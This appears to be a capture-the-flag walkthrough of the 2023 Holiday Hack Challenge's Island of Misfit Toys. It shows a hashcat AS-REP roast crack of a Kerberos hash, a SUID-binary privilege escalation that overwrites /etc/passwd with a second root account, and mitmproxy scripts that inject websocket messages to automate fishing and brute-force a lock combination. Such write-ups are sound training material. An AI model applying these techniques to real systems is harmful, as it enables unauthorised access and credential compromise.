Island of Misfit Toys⚓︎
Plot a course to the whimsical Island of Misfit Toys aboard our ship. Employ the arrow keys on the keyboard or the WASD keys to navigate, as the island is situated in the bottom-right corner of the map. May your journey be filled with the charm of misfit toys and the joy of exploration! Safe travels!
There are three different ports available:
Port of Scaredy-kite Heights⚓︎
While exploring the Island of Misfit Toys, we discover the Port of Scaredy-kite Heights. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured the Goose of the Island of Misfit Toys to greet us!
When we make land, we obtain new objectives on arrival.
Hashcat (Island of Misfit Toys)
Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!
Linux PrivEsc (Island of Misfit Toys)
Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.
Full Island (Zoomed Out)
Hashcat⚓︎
Hashcat (Island of Misfit Toys)
Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!
If we go to the right of the Goose of Island of Misfit Toys, we find Eve Snowshoes close to a challenge.
When we startup the challenge, it spins up a tmux terminal:
Challenge Startup Text
In a realm of bytes and digital cheer,
The festive season brings a challenge near.
Santa's code has twists that may enthrall,
It's up to you to decode them all.
Hidden deep in the snow is a kerberos token,
Its type and form, in whispers, spoken.
From reindeers' leaps to the elfish toast,
Might the secret be in an ASREP roast?
`hashcat`, your reindeer, so spry and true,
Will leap through hashes, bringing answers to you.
But heed this advice to temper your pace,
`-w 1 -u 1 --kernel-accel 1 --kernel-loops 1`, just in case.
For within this quest, speed isn't the key,
Patience and thought will set the answers free.
So include these flags, let your command be slow,
And watch as the right solutions begin to show.
For hints on the hash, when you feel quite adrift,
This festive link, your spirits, will lift:
https://hashcat.net/wiki/doku.php?id=example_hashes
And when in doubt of `hashcat`'s might,
The CLI docs will guide you right:
https://hashcat.net/wiki/doku.php?id=hashcat
Once you've cracked it, with joy and glee so raw,
Run /bin/runtoanswer, without a flaw.
Submit the password for Alabaster Snowball,
Only then can you claim the prize, the best of all.
So light up your terminal, with commands so grand,
Crack the code, with `hashcat` in hand!
Merry Cracking to each, by the pixelated moon's light,
May your hashes be merry, and your codes so right!
* Determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct and submit it to /bin/runtoanswer .*
Identifying the correct hash type is the first step. I print out the hash and password list provided and transfer them over to my own Kali VM.
elf@58d3d01a5e96:~$ cat hash.txt && echo
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966
elf@58d3d01a5e96:~$ cat password_list.txt && echo
..[snip]..
We are able identified the hash quickly using haiti hash identifier:
It also is able to be found using hashcat --example-hashes
:
$ hashcat --example-hashes
Hash mode #18200
Name................: Kerberos 5, etype 23, AS-REP
Category............: Network Protocol
Slow.Hash...........: No
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Embedded
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure, optimized
Example.Hash.Format.: plain
Example.Hash........: $krb5asrep$23$user@domain.com:3e156ada591263b8a...102ac
We proceed to crack the hash on our host machine, utilizing dedicated hardware, as the cracking process can be time-consuming and slow with just a virtual CPU. If running this in a VM, the --force
option can be used.
$ hashcat -a 0 -m 18200 hash.txt password_list.txt
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!
We submit our answer using /bin/runtoanswer
and obtain an achievement!
elf@c62abca8f788:~$ /bin/runtoanswer
What is the password for the hash in /home/elf/hash.txt ?
> IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!
Checking....
Your answer is correct!
Achievement
Congratulations! You have completed the Hashcat challenge!
Linux PrivESC⚓︎
Linux PrivEsc (Island of Misfit Toys)
Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.
If we go to the right of the Eve Snowshoes, we find a Saloon that we can enter!
I found Rose Mold inside and close to a challenge.
When speaking with Rose Mold, we obtain the following hints:
Linux Command Injection
Use the privileged binary to overwriting a file to escalate privileges could be a solution, but there's an easier method if you pass it a crafty argument.
Linux Privilege Escalation Techniques
There's various ways to escalate privileges on a Linux system.
When we startup the challenge, it spins up a tmux terminal:
In a digital winter wonderland we play,
Where elves and bytes in harmony lay.
This festive terminal is clear and bright,
Escalate privileges, and bring forth the light.
Start in the land of bash, where you reside,
But to win this game, to root you must glide.
Climb the ladder, permissions to seize,
Unravel the mystery, with elegance and ease.
There lies a gift, in the root's domain,
An executable file to run, the prize you'll obtain.
The game is won, the challenge complete,
Merry Christmas to all, and to all, a root feat!
* Find a method to escalate privileges inside this terminal and then run the binary in /root *
Looking for SUID binaries. we find an unusual one of /usr/bin/simplecopy
that is dated Dec 2 22:17
which is a dead-giveaway that it isn't part of normal Linux system binaries.
elf@57f5baee95f4:~$ find / -perm -4000 -ls -o -perm -g=s -ls -o -perm -u=s -ls 2>/dev/null
1315468 4 drwxrwsr-x 2 root staff 4096 Apr 15 2020 /var/local
1315481 4 drwxrwsr-x 2 root mail 4096 Nov 28 02:03 /var/mail
1312417 84 -rwsr-xr-x 1 root root 85064 Nov 29 2022 /usr/bin/chfn
1312423 52 -rwsr-xr-x 1 root root 53040 Nov 29 2022 /usr/bin/chsh
1312541 56 -rwsr-xr-x 1 root root 55528 May 30 2023 /usr/bin/mount
1312467 32 -rwxr-sr-x 1 root shadow 31312 Nov 29 2022 /usr/bin/expiry
1312546 44 -rwsr-xr-x 1 root root 44784 Nov 29 2022 /usr/bin/newgrp
1312620 68 -rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/su
1312659 36 -rwxr-sr-x 1 root tty 35048 May 30 2023 /usr/bin/wall
1312414 84 -rwxr-sr-x 1 root shadow 84512 Nov 29 2022 /usr/bin/chage
1312484 88 -rwsr-xr-x 1 root root 88464 Nov 29 2022 /usr/bin/gpasswd
1312645 40 -rwsr-xr-x 1 root root 39144 May 30 2023 /usr/bin/umount
1312557 68 -rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd
1457015 20 -rwsr-xr-x 1 root root 16952 Dec 2 22:17 /usr/bin/simplecopy
1314117 44 -rwxr-sr-x 1 root shadow 43168 Feb 2 2023 /usr/sbin/pam_extrausers_chkpwd
1314148 44 -rwxr-sr-x 1 root shadow 43160 Feb 2 2023 /usr/sbin/unix_chkpwd
Just running it seems like it's a cp
wrapper at first:
elf@57f5baee95f4:~$ simplecopy
Usage: simplecopy <source> <destination>
elf@57f5baee95f4:~$ strings /bin/simplecopy
..[snip]..
Usage: %s <source> <destination>
cp %s %s
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
We are able to copy the contents of the /root
folder to /tmp
:
elf@57f5baee95f4:~$ simplecopy /root/* /tmp
elf@57f5baee95f4:~$ ls -la /tmp
total 608
drwxrwxrwt 1 root root 4096 Dec 29 18:36 .
drwxr-xr-x 1 root root 4096 Dec 29 18:29 ..
-rwx------ 1 root root 612560 Dec 29 18:36 runmetoanswer
So since we can administratively copy any file on the system, we can try to add a new root
user!
Technique
Unless a centralized credential system such as Active Directory or LDAP is used, Linux passwords are generally stored in /etc/shadow
, which is not readable by normal users. Historically however, password hashes, along with other account information, were stored in the world-readable file /etc/passwd
. For backwards compatibility, if a password hash is present in the second column of a /etc/passwd
user record, it is considered valid for authentication and it takes precedence over the respective entry in /etc/shadow
if available. This means that if we can write into the /etc/passwd
file, we can effectively set an arbitrary password for any account.
Here is how we can demonstrate this technique:
- Generate a new password hash using
openssl
(Note:openssl
is not installed)
- Copy the original
/etc/passwd
file. Note its a good practice to back it up prior.
- Add the duplicate
root
user line.
- Copy over the original
/etc/passwd
with the new file.
- Now we can switch-user as
root2
:
elf@93c42791faaa:~$ su root2
Password: password
root@93c42791faaa:~# id
uid=0(root) gid=0(root) groups=0(root)
We submit our answer using /root/runtoanswer
:
root@93c42791faaa:~# /root/runmetoanswer
Who delivers Christmas presents?
> santa
Your answer: santa
Checking....
Your answer is correct!
??? success "Achievement" ! You have completed the Linux PrivEsc challenge!
When speaking with Rose Mold previously after completing Linux PrivESC challenge, we obtain the following hint:
Uncharted
Not all the areas around Geese Islands have been mapped, and may contain wonderous treasures. Go exploring, hunt for treasure, and find the pirate's booty!
Port of Squarewhell Yard⚓︎
While exploring the Island of Misfit Toys, we discover the Port of Squarewhell Yard. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured the Goose of the Island of Misfit Toys and Poinsettia McMittens to greet us!
When we make land, we obtain new objectives on arrival.
Luggage Lock (Island of Misfit Toys)
Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials
When speaking with Poinsettia McMittens, we obtain the following hints:
Fishing Machine
There are a variety of strategies for automating repetitive website tasks. Tools such as AutoKey and AutoIt allow you to programmatically examine elements on the screen and emulate user inputs.
I Am Become Data
One approach to automating web tasks entails the browser's developer console. Browsers' console allow us to manipulate objects, inspect code, and even interact with websockets.
When speaking with Poinsettia McMittens, we obtain the following objectives:
BONUS! Fishing Guide
Catch twenty different species of fish that live around Geese Islands. When you're done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.
BONUS! Fishing Mastery
Catch at least one of each species of fish that live around Geese islands. When you're done, report your findings to Poinsettia McMittens.
Full Island (Zoomed Out)
Fishing Guide⚓︎
Catch twenty different species of fish that live around Geese Islands. When you're done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.
While navigating at sea, we can click on our Pescadex to view all the fish we have already caught!
All the fish images are stored based on their hash name at https://2023.holidayhackchallenge.com/sea/assets/fish/
After we caught 20 fish, we unlocked an achievement by talking to Poinsettia McMittens on the Island of Misfit Toys at the Squarewheel Yard dock.
Achievement
Congratulations! You have completed the BONUS! Fishing Guide challenge!
Fishing Mastery⚓︎
Catch at least one of each species of fish that live around Geese islands. When you're done, report your findings to Poinsettia McMittens.
While navigating at sea, the client.js file, responsible for ship navigation in JavaScript, was examined. The analysis revealed the establishment of a WebSocket connection to ${websockHost}?dockSlip=${UrlParams.dockSlip}
, as illustrated below:
The results of analyzing the server-side websocket messages as shown below:
e:
Provides data (userid, coordinates, velocity, colors of ship) on other player's in the areav:
Providesx
/y
coordinates,uid
,fishing
BooleanonTheLine
Boolean (colon separated)p:
Provides port information (explored only)z:
Provides port information (within dock location)i:
Provides my user settings, explored ports, etc.b:
? - Some type of block datak:
Provides error messages such asThis URL is invalid. Please log in to HHC and try again.
x:
Contain data (userid) on other player's in the areat:
? - Some sort of notificationm:
Contains race results (time, track, scoreboard position)h:
Provides race starting locations "hotspots"a:
Provides AHOY data when clicking theAHOY!
button (such as time, duration, location)f:
Provides fish data
The results of analyzing the client-side websocket messages are shown below:
ks:
Keyboard data sent from client
The Keys
definition encompasses all possible combinations. Both the wasd
and arrow keys are mapped to identical values. The ANCHOR
is associated with the spacebar, while the BOOST
function is linked to the b
key.
Unknowing how many more fish there were, I created an automated fishing utility so when I am standing in place for a bit or Away From Keyboard (AFK), it can fish for me! This was created
We can also automate this by using mitmdump
with a Python addon to automate the replacement:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to inject a websocket message into a running connection using mitmdump.
Usage: reset; sudo mitmdump -s mitm_sail.py --listen-port 9000 --set flow_detail=0
Reference: https://mitmproxy.org/
Holiday Hack 2023 - Sailing
"""
# Imports
from datetime import datetime
from mitmproxy import ctx
from mitmproxy import http
import json
import math
# Constants
AUTOCAST_MIN_TIME = 3
VERBOSE_ALL_WS = False
VERBOSE_STATUS = False
KEYS = {"UP": 1, "RIGHT": 2, "LEFT": 4, "DOWN": 8, "ANCHOR": 16, "BOOST": 32}
DIRECTIONS = {1: "N", 2: "E", 4: "W", 8: "S"}
# Globals
gdata = {"uid": None, "dir": None, "x": None, "y": None, "vx": 0, "vy": 0, "fishing": None, "racetrack": None, "canFish": False, "onTheLine": ""}
fish_caught = {}
race_startpoints = None
race_waypoints = None
autocast_time = None
def calculate_state(message):
active_keys = set()
direction_keys = []
for key, value in KEYS.items():
if int(message) & value:
active_keys.add(key)
direction_keys.append(value)
# Convert specific directions
direction = "".join(DIRECTIONS[key] for key in direction_keys if key in DIRECTIONS)
if direction == "ES":
direction = "SE"
elif direction == "EN":
direction = "NE"
return direction, active_keys
def parse_message(flow, raw_message):
global gdata, autocast_time, race_startpoints, race_waypoints, fish_caught
if not raw_message.is_text or len(raw_message.text) < 2:
return flow
if ":" in raw_message.text:
split_colon = raw_message.text.split(":", 1)
mode = split_colon[0]
message = split_colon[1]
elif raw_message.text == "cast":
ctx.log.info("Fishing started!")
gdata["fishing"] = True
return flow
elif raw_message.text == "reel":
ctx.log.info("Fishing ended!")
gdata["fishing"] = False
return flow
elif raw_message.text == "bank":
ctx.log.info("Docked the boat!")
gdata["canFish"] = False
return flow
elif raw_message.text == "quit_race":
ctx.log.info("Race ended!")
gdata["racetrack"] = None
race_waypoints = None
return flow
elif raw_message.text == "ahoy!":
return flow
else:
ctx.log.alert(f"Not sure how to parse Message: '{raw_message.text}'")
mode = ""
message = raw_message.text
if mode == "e":
# Updates (only when things change)
data = json.loads(message)
uid_str = str(gdata["uid"])
updated_flag = False
unparsed = []
if uid_str in data:
for key, value in data[uid_str].items():
if key in gdata:
# Compare values
if isinstance(value, (float, complex)):
if not math.isclose(gdata[key], value):
updated_flag = True
elif gdata[key] != value:
updated_flag = True
gdata[key] = value
if abs(gdata["vx"]) > 0.1 or abs(gdata["vy"]) > 0.1:
gdata["canFish"] = False
elif key == "race":
if "waypoints" in value:
race_waypoints = value["waypoints"]
if not gdata["racetrack"]:
# Race started
if race_startpoints:
for race in race_startpoints:
if value["name"] == race["name"]:
ctx.log.alert(f'Started {race["name"]} ({race["x"]}, {race["y"]}) Waypoints: {json.dumps(race_waypoints)}')
break
if "name" in value:
gdata["racetrack"] = value["name"]
elif key == "fishCaught":
if not fish_caught:
pass
elif len(value) != len(fish_caught):
caught_names = set(fish["name"] for fish in fish_caught)
new_fish = next((fish for fish in value if fish["name"] not in caught_names), None)
if new_fish:
ctx.log.alert(f'NEW FISH CAUGHT! {new_fish["name"]} ({new_fish["hash"]}) - {new_fish["description"]})')
fish_caught = value
elif key in ["username", "o", "config", "bearing", "ports", "showOthers", "keyState", "colors", "progress"]:
pass
elif key in ["c", "raceId", "raceTimes", "raceIndex", "startConfig", "raceKeystrokes"]:
# Race in progress
pass
elif key == "hotspotLatch" and value:
ctx.log.info("Race ended - Out of time")
gdata["racetrack"] = None
race_waypoints = None
elif key in ["port"]:
# Within port
pass
else:
unparsed.append(key)
if unparsed:
ctx.log.alert(f"{mode} - Unparsed {unparsed}: '{raw_message.text}'")
if updated_flag:
VERBOSE_STATUS and ctx.log.info(f"{mode} - User information => {json.dumps(gdata)}")
if gdata["fishing"] and gdata["onTheLine"]:
# Autoreel
ctx.log.alert(f'{gdata["onTheLine"]} on the hook -> Automatically reeling')
ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, b"reel")
gdata["fishing"] = False
elif mode == "v":
# Updates, [uid, x, y, o, fishing]
data = message.split(":")
data = list(map(float, data))
updated_flag = False
for i in range(0, len(data), 5):
if gdata["uid"] == data[i]:
if isinstance(data[i + 1], (float, complex)):
if not math.isclose(gdata["x"], data[i + 1]):
updated_flag = True
elif gdata["x"] != data[i + 1]:
updated_flag = True
if isinstance(data[i + 2], (float, complex)):
if not math.isclose(gdata["y"], data[i + 2]):
updated_flag = True
elif gdata["y"] != data[i + 2]:
updated_flag = True
gdata["x"] = data[i + 1]
gdata["y"] = data[i + 2]
gdata["fishing"] = bool(data[i + 4])
if updated_flag:
VERBOSE_STATUS and ctx.log.info(f"{mode} - User information => {json.dumps(gdata)}")
elif mode == "p":
# Port information (explored only)
return flow
elif mode == "z":
# Port information (within dock location)
return flow
elif mode == "i":
# Initial user data
data = json.loads(message)
for key, value in data.items():
if key in gdata and gdata[key] != value:
gdata[key] = value
ctx.log.info(f"{mode} - Initial User information => {json.dumps(gdata)}")
gdata["canFish"] = True # Not docked
elif mode == "k":
# Error data
data = json.loads(message)
if "msg" in data:
if "msg" in data:
ctx.log.error(f"{mode} - ERROR: {data['msg']}")
return flow
elif mode == "x":
# Contains data (userid) on other player's in the area
# x:41154
return flow
elif mode == "m":
# Race results
data = json.loads(message)
if "type" in data and data["type"] == "race_results":
gdata["racetrack"] = None
race_waypoints = None
if "data" in data:
ctx.log.info(f"{mode} - Race results => {json.dumps(data['data'])}")
return flow
elif mode == "h":
# Hotspots
race_startpoints = json.loads(message)
return flow
elif mode == "a":
# Ahoy data
return flow
elif mode == "f":
# Fish data
data = json.loads(message)
if "fish" in data and data["fish"]:
fish_data = data["fish"]
ctx.log.info(f'{mode} - Caught {fish_data["name"]}, {round(fish_data["rarity"] * 100, 1)}%')
return flow
elif mode == "ks":
# Keyboard events (client)
# ks:1
direction, active_keys = calculate_state(message)
if "ANCHOR" in active_keys:
ctx.log.info(f"Stopping")
gdata["dir"] = None
gdata["canFish"] = True
elif direction and gdata["dir"] != direction:
VERBOSE_STATUS and ctx.log.info(f"Heading in {direction}")
if direction:
gdata["dir"] = direction
gdata["fishing"] = False
gdata["canFish"] = False
if not "BOOST" in active_keys:
# Always boost
ks = "ks:" + str(int(message) | KEYS["BOOST"])
flow.websocket.messages[-1].content = ks.encode()
flow.websocket.messages[-1].text = ks
# ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, ks.encode)
else:
ctx.log.alert(f"{mode} - Unable to parse message: '{raw_message.text}'")
# Autocast
if not gdata["fishing"] and not gdata["racetrack"] and gdata["canFish"]:
if not autocast_time:
autocast_time = datetime.now()
elif (datetime.now() - autocast_time).total_seconds() >= AUTOCAST_MIN_TIME:
ctx.log.alert(f"Automatically casting ...")
ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, b"cast")
gdata["fishing"] = True
else:
autocast_time = None
return flow
def websocket_message(flow: http.HTTPFlow):
assert flow.websocket is not None
message = flow.websocket.messages[-1]
address = "Client" if message.from_client else "Server"
if message.is_text:
VERBOSE_ALL_WS and ctx.log.info(f"url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.text}")
else:
VERBOSE_ALL_WS and ctx.log.info(f"url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.content!r}")
if flow.request.url.startswith("https://2023.holidayhackchallenge.com/") and "?dockSlip=" in flow.request.path:
flow = parse_message(flow, message)
To enable SSL trust, add the mitmdump
certificate to your browser by visiting http://mitm.it/. We also then need to setup FoxyProxy and point it to the mitmdump
on port 9000. We can also point our browser directly to this proxy or combine it with Burp and set the upstream server to port 9000 for the specific host:
We can see it is able to automatically cast and reel successfully. Note, this opens TCP Port 9000 on execution.
reset; sudo mitmdump -s mitm_sail.py --listen-port 9000 --set flow_detail=0
...[snip]..
[16:31:39.080] Automatically casting ...
[16:31:39.081] Fishing started!
[16:31:42.052] Whirly Snuffleback Trout on the hook -> Automatically reeling
[16:31:42.058] Fishing ended!
[16:31:42.109] f - Caught Whirly Snuffleback Trout, 54.4%
[16:31:45.088] Automatically casting ...
[16:31:45.092] Fishing started!
Having run this overnight, we successfully caught 170 fish! Initially thinking we were finished, it turns out there are actually 171 fish, with one mysteriously absent.
While tackling additional challenges, I stumbled upon an intriguing comment labeled as [DEV ONLY]
in the reference section of https://2023.holidayhackchallenge.com/sea/?dockSlip=
:
This comment referred to a hidden html page that loaded contained a fish density overlays for the minimap that can be used to find rare fish. This page loads all the densities of all the fish. The respective images are loaded in the page via hyperlinks of the format https://2023.holidayhackchallenge.com/sea/assets/noise/<fish_name>.png
.
With the help of ChatGPT, we were able to regex all of the fish names and come up with 171 total!
# Total of 171 fish
cat fishdensityref.html | grep -oP 'h3>\K[^<]*' | sort -u > fish.txt
cat fish.txt | wc -l
171
Next we need to find the fish that we are missing:
diff <( cat fish.txt ) <( cat fish.json | jq -r '.[].name' | sort -u )
97d96
< Piscis Cyberneticus Skodo
Using the minimap, we can overlay one of these fish density maps ontop of it:
wget https://2023.holidayhackchallenge.com/sea/assets/noise/Piscis%20Cyberneticus%20Skodo.png -O Piscis.png
wget https://2023.holidayhackchallenge.com/sea/assets/minimap.png
convert -compose over -background none Piscis.png minimap.png -flatten minimap-Piscis.png
In the sole fishing spot shown above, after an hour, we finally caught our missing fish among the 171 total. This achievement was unlocked by speaking to Poinsettia McMittens at the Squarewheel Yard dock on the Island of Misfit Toys.
Achievement
Congratulations! You have completed the BONUS! Fishing Mastery challenge!
Luggage Lock⚓︎
Luggage Lock (Island of Misfit Toys)
Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials
If we moving to the south-western part of the island, we find Garland Candlesticks close to a challenge in a flowerbed.
When speaking with Garland Candlesticks, we obtain the following hint:
Lock Talk
Check out Chris Elgee's talk regarding his and his wife's luggage. Sounds weird but interesting!
After reviewing Chris Elgee's talk, he goes over three techniques to solve the lock on the suitcase:
- There are notches on sides of buttons that when aligned can provide insight into the combination. Turn them all together in the same direction and attempt to open.
- Apply slight pressure on TSA Keyhole and turn the buttons. They will get stuck on the valid numbers.
- Bruteforce all combinations (obvious)
When we startup the challenge, it spins up a luggage lock decoder window:
Technique 2 - TSA Keyhole Pressure⚓︎
Clicking the TSA Keyhole button (x1-2) and turn the buttons. Eventually there will be a "Dial resistance ..." popup at the top of the screen to signify that it is the correct digit, as shown below:
Do this for all tumblers selected and challenge complete!
Technique 3 - Socket.io Man-in-the-Middle⚓︎
Upon scrutinizing the traffic in BurpSuite within the WebSockets history, it becomes apparent that a Socket.io connection is being established. Furthermore, the server is transmitting and receiving information regarding guesses and their success status.
Working our way back, we can find how our selection of 1-4 wheels is sent to the server and then the socket.io connection is created from there.
We can also automate this by using mitmdump
with a Python addon to automate the replacement:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to inject a websocket message into a running connection using mitmdump.
Usage: reset; sudo mitmdump -s mitm_lock.py --listen-port 9000 --set flow_detail=0
Reference: https://mitmproxy.org/
Holiday Hack 2023 - Luggage Lock
"""
# Imports
from mitmproxy import ctx
from mitmproxy import http
from itertools import product
import json
from random import shuffle
import re
# Constants
URL = "https://lockdecode.com/"
DEBUG = False
# Globals
g_wheels = None # starts/stops attempts, stores # of wheels
g_combos = None # stores all combos
g_lastcombo = None # stores last combo for printing
def parse_socketio(flow, raw_message):
global g_wheels, g_combos, g_lastcombo
if raw_message.is_text:
data = raw_message.text
if data.startswith("42"):
# Parse socket.io message, 42["message",{"Type":"Open","Success":"False"}]
try:
data = json.loads(data[2:])[1]
except json.JSONDecodeError as e:
ctx.log.error("Error decoding JSON:", e)
except (IndexError, KeyError) as e:
ctx.log.error("Error accessing data:", e)
ctx.log.alert(f"Received {json.dumps(data)}")
if g_wheels:
if g_lastcombo and data and isinstance(data, dict) and data.get("Type") == "Open" and data.get("Success", "").lower() == "true":
# Valid combination - reset for next game
ctx.log.alert(f"VALID COMBINATION: {g_lastcombo}")
g_wheels = None
g_combos = None
g_lastcombo = None
else:
if not g_combos and (isinstance(data, dict) or data == "6"):
# Initial - Generate all combinations of strings, 6 is sent from server to acknowledge when everything is ready
g_combos = ["".join(map(str, combo)) for combo in product(range(10), repeat=g_wheels)]
shuffle(g_combos)
if g_combos:
# Bruteforcing
g_lastcombo = g_combos.pop(0)
ctx.log.alert(f"ATTEMPT {g_lastcombo} ...")
new_message = ["message", {"Type": "Open", "Combo": f"{g_lastcombo}"}]
ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, f"42{json.dumps(new_message)}".encode())
return flow
def websocket_message(flow: http.HTTPFlow):
assert flow.websocket is not None
message = flow.websocket.messages[-1]
address = "Client" if message.from_client else "Server"
if flow.request.url.startswith(URL):
if message.is_text:
DEBUG and ctx.log.info(f"WS - url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.text}")
else:
DEBUG and ctx.log.info(f"WS - url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.content!r}")
if not message.from_client:
# Parse server socket.io messages
flow = parse_socketio(flow, message)
def request(flow: http.HTTPFlow):
global g_wheels
assert flow.request is not None
if flow.request.url.startswith(URL):
DEBUG and ctx.log.info(f"HTTP - url:{flow.request.url} and path:{flow.request.path} - req:{flow.request.data.content}")
# Fetch wheels from HTTP request
if flow.request.url.startswith("https://lockdecode.com/game") and b"wheels" in flow.request.data.content:
match = re.search(r"wheels=(\d+)", flow.request.data.content.decode("utf-8"))
if match:
g_wheels = int(match.group(1))
ctx.log.alert(f"WHEELS: {g_wheels}")
def response(flow: http.HTTPFlow):
assert flow.response is not None
if flow.request.url.startswith(URL):
DEBUG and ctx.log.info(
f"HTTP - url:{flow.request.url} and path:{flow.request.path} - req:{flow.request.data.content} resp:{flow.response.data.content}"
)
To enable SSL trust, add the mitmdump
certificate to your browser by visiting http://mitm.it/. We also then need to setup FoxyProxy and point it to the mitmdump
on port 9000. We can also point our browser directly to this proxy or combine it with Burp and set the upstream server to port 9000 for the specific host:
We can see it bruteforces Four Wheels (4-digit combinations, 10000 possible, range: 0000-9999) successfully. Note, this opens TCP Port 9000 on execution.
reset; sudo mitmdump -s mitm_lock.py --listen-port 9000 --set flow_detail=0
[16:23:58.281] WHEELS: 4
[16:23:59.718][192.168.0.10:64141] client connect
[16:23:59.965][192.168.0.10:64141] server connect lockdecode.com:443 (34.111.47.250:443)
[16:24:00.431] Received {"Type": "Setup", "Probabilities": [[0.32666666666666666, 0.16666666666666666, 0.21333333333333335, 0.26666666666666666, 0.21666666666666667, 0.18999999999999997, 0.25666666666666665, 0.6733333333333333, 0.17666666666666667, 0.2333333333333333], [0.7133333333333334, 0.049999999999999996, 0.15, 0.07333333333333333, 0.18666666666666668, 0.32, 0.2866666666666667, 0.023333333333333334, 0.006666666666666667, 0.24], [0.18000000000000002, 0.9033333333333333, 0.20666666666666667, 0.20666666666666667, 0.21666666666666667, 0.3, 0.27, 0.11, 0.11333333333333334, 0.2733333333333333], [0.17666666666666667, 0.8533333333333333, 0.18333333333333335, 0.3233333333333333, 0.09333333333333334, 0.19666666666666666, 0.0, 0.013333333333333334, 0.2733333333333333, 0.02666666666666667]], "PlayerId": "c56f2bf5-f13a-46ea-92db-efed5fb26cdb"}
..[snip]..
[16:24:05.420] Received {"Type": "Open", "Success": "False"}
[16:24:05.420] ATTEMPT 1188 ...
[16:24:05.452] Received {"Type": "Open", "Success": "True", "Token": {"hash": "null"}, "PlayerId": "212137bb-a565-437f-be1d-eb7f8bf2c218"}
[16:24:05.452] VALID COMBINATION: 1188
Luggage unlocks:
When the luggage opens:
Achievement
Congratulations! You have completed the Luggage Lock challenge!
Port of Tarnished Trove⚓︎
While exploring the Island of Misfit Toys, we discover the Port of Tarnished Trove. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured the Dusty Giftwrap to greet us!
When we make land, we obtain new objectives on arrival.
Game Cartridges: Vol 1 (Island of Misfit Toys)
Find the first Gamegosling cartridge and beat the game
Game Cartridges: Vol 2 (Pixel Island)
Find the second Gamegosling cartridge and beat the game
Game Cartridges: Vol 3 (Steampunk Island)
Find the third Gamegosling cartridge and beat the game
Full Island (Zoomed Out)
Game Cartridges: Vol 1⚓︎
Game Cartridges: Vol 1 (Island of Misfit Toys)
Find the first Gamegosling cartridge and beat the game
When speaking with Dusty Giftwrap, we obtain the following hint:
Approximate Proximity
Listen for the gameboy cartridge detector's proximity sound that activates when near buried treasure. It may be worth checking around the strange toys in the Tarnished Trove.
Finding the Game Cartridge⚓︎
The game cartridge was found under the hat in the north west part of the island!
We can now find the "Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol1" in our Items:
When we click on the game in our inventory, it launches from https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/
with a Gameboy ROM of game.gb.
wget https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/rom/game.gb -O game-vol1.gb
visualboyadvance-m game-vol1.gb
Speaking with Dusty Giftwrap after we obtained the game cartridge, we obtain the following hint:
Gameboy 1
1) Giving things a little push never hurts. 2) Out of sight but not out of ear-shot 3) You think you fixed the QR code? Did you scan it and see where it leads?
Vol 1 Gameplay⚓︎
Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.
In visualboyadvance-m
emulator, the K key is mapped to B, and L key is mapped to A. The WASD keys are to move.
Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 1
:
Clicking "New Game" the following speech continues:
Jared: Elf, have you ever heard of a miner named Tom Liston?
Elf: What does he mine?
